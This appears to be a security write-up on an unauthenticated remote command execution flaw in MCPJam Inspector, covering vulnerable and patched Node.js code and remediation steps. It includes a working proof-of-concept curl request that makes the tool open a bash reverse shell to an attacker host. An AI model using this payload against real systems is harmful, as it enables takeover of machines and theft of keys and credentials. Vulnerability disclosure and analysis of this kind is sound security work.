Jamming the Signal: Unauthenticated RCE in MCPJam Inspector

The Model Context Protocol (MCP) is the new hotness for connecting Large Language Models (LLMs) to external data. It's complex, and where there is complexity, there are developers needing to debug it. Enter MCPJam Inspector, a nifty tool designed to sit between your LLM and your MCP server to visualize the traffic. It's the Wireshark of the AI agent world.

To do its job, the inspector needs to be able to start and stop MCP servers. It needs to spawn processes. In a local, isolated environment, this is fine. You trust yourself, right? But the problem arises when tools built for 'localhost' get deployed in Docker containers, cloud dev environments, or just on a laptop connected to open coffee shop Wi-Fi.

CVE-2026-23744 isn't a subtle memory corruption bug. It is a logic flaw born of convenience. The application exposes a REST API that literally says, 'Tell me what command to run, and I'll run it.' It’s the kind of vulnerability that makes exploit developers chuckle and sysadmins weep.

The root cause is a classic 'off-by-default' security failure. In versions 1.4.2 and earlier, the MCPJam inspector binds its HTTP server to 0.0.0.0 on port 6274. For those uninitiated in the dark arts of networking, 0.0.0.0 means 'listen on every available network interface.'

Combine this promiscuous listening habit with the endpoint /api/mcp/connect. This endpoint was designed to let the frontend UI tell the backend, 'Hey, start this MCP server with these arguments.'

There is no authentication. No API key. No CSRF token. The backend code takes the JSON body—specifically the command, args, and env properties—and passes them straight into Node.js's child_process.spawn. It doesn't check if the command is an actual MCP server or netcat. It just executes. It is effectively a Remote Shell as a Service (RSaaS).

Let's look at the Javascript that caused the panic. The vulnerable code handles the POST request by destructuring the user input and immediately using it to spawn a process. It trusts the client implicitly.

> [!NOTE] > The snippet below highlights the lack of validation in the vulnerable version.

// VULNERABLE CODE (Simplified)
app.post('/api/mcp/connect', (req, res) => {
  const { command, args, env } = req.body.serverConfig;
  
  // No Auth Check. No Input Sanitization.
  const subprocess = spawn(command, args, { env });
  
  // ... handle streams ...
});
 
// The server listens on all interfaces
app.listen(6274, '0.0.0.0');

The fix, introduced in version 1.4.3 (commit e6b9cf9), does two critical things. First, it forces the listener to 127.0.0.1. Second, it introduces a generated AUTH_TOKEN that must be present in the request headers.

// PATCHED CODE
const AUTH_TOKEN = crypto.randomBytes(32).toString('hex');
 
app.post('/api/mcp/connect', (req, res) => {
  const token = req.headers['x-mcp-token'];
  if (token !== AUTH_TOKEN) {
    return res.status(403).send('Unauthorized');
  }
  // ... safe to spawn now ...
});
 
// Restricted to localhost
app.listen(6274, '127.0.0.1');

Exploiting this requires zero sophistication. You don't need to bypass ASLR or construct a ROP chain. You just need curl. If you can reach port 6274, you own the box.

The attack flow is linear and devastating:

Here is a functional Proof of Concept. We simply tell the inspector that our 'MCP Server' is actually the system shell, and the arguments are the commands we want to run.

curl -X POST http://TARGET_IP:6274/api/mcp/connect \
     -H "Content-Type: application/json" \
     -d '{
       "serverConfig": {
         "command": "/bin/sh",
         "args": ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"],
         "env": {}
       },
       "serverId": "pwned"
     }'

Because the child_process.spawn function in Node.js handles the execution, standard shell redirection works if you invoke a shell binary directly. The process runs with the same privileges as the user running the MCPJam inspector—which, in developer environments, is often root (inside Docker) or the main user with sudo access.

This vulnerability scores a 9.8 Critical for a reason. In modern development workflows, tools like MCPJam are often running in the background while developers work on sensitive codebases.

Scenario 1: The Coffee Shop Attack A developer is working at a cafe. Their laptop firewall is lax. An attacker on the same Wi-Fi scans for port 6274, finds it open, and silently installs a persistent backdoor or steals SSH keys.

Scenario 2: The CI/CD Compromise MCPJam is used in a testing pipeline. An attacker who has compromised a low-value container in the same Kubernetes cluster can pivot to the CI runner via this API, stealing cloud credentials (AWS_ACCESS_KEY_ID, etc.) often exposed in environment variables.

This isn't just about crashing the app; it's about full compromise of the developer's workstation or the build environment.

The mitigation is straightforward: Update immediately.

Remediation Steps:

1. Upgrade: Update mcpjam-inspector to version 1.4.3 or higher.
2. Verify: Ensure the process is listening only on 127.0.0.1 using netstat -an | grep 6274.
3. Firewall: If you must run this on a remote server, do not rely on the application's built-in security. Place it behind a reverse proxy (like Nginx) with Basic Auth, or use an SSH tunnel to access it locally.

Developers, learn this lesson: Convenience is the enemy of security. If your tool executes commands, it needs authentication. Period.